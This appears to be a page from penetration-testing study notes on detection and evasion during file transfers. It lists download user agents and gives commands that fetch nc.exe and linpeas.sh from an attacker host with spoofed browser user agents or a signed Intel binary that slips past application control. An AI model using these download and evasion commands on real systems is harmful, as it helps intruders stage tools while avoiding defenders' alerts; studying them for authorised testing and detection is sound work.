Detection & Evasion
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
Defenders catch transfers by the user agent in the HTTP request, by the command line, and by AV signatures on known tools. Change the user agent to one the network already uses. Use a binary that application control allows. Use evasion only when the scope of the test asks for it.
User agents
Each download method sends its own User-Agent header. A proxy or SIEM can alert on the unusual ones. Your web server log shows the header of each request.
| Method | User agent |
|---|---|
Invoke-WebRequest, Invoke-RestMethod |
Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.<build> |
WinHttp.WinHttpRequest.5.1 |
Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) |
Msxml2.XMLHTTP |
The Internet Explorer user agent of the host |
certutil |
Microsoft-CryptoAPI/10.0 |
| BITS | Microsoft BITS/7.8, after a first HEAD request |
certreq |
Mozilla/4.0 (compatible; Win32; NDES client ...) |
curl |
curl/<version> |
wget |
Wget/<version> |
Python urllib |
Python-urllib/<version> |
Net.WebClient sends no user agent unless you set one.
Change the user agent
PowerShell has presets for common browsers:
$ua = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome # Chrome user agent preset# download with that user agentInvoke-WebRequest http://10.10.14.20/nc.exe -UserAgent $ua -OutFile C:\Users\Public\nc.exe -UseBasicParsingThe other presets are InternetExplorer, FireFox, Opera, and Safari. Their version strings are old. Copy a current browser string from the network when you can.
curl -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' http://10.10.14.20/linpeas.sh -o linpeas.sh # -A sets the user agentwget -U 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' http://10.10.14.20/linpeas.sh # -U sets the user agentCommand lines and signatures
- Defender detects
certutil -urlcachedownloads asTrojan:Win32/Ceprolad. AMSI scans PowerShell scripts before they run, soIEXof a known tool such asInvoke-Mimikatztriggers an alert. - Command-line logging records each process with its arguments. A blocklist of command strings misses small changes, such as a change in letter case. An allowlist of known command lines catches them.
- Application control can block PowerShell and
nc. A signed binary with a download function can still run. LOLBAS and GTFOBins list them.
Some vendor tools download files. The Intel graphics driver on some Windows 10 hosts includes GfxDownloadWrapper.exe:
GfxDownloadWrapper.exe "http://10.10.14.20/nc.exe" "C:\Users\Public\nc.exe" # download with a signed Intel binaryApplication control often trusts binaries like this one, and alert rules often exclude them.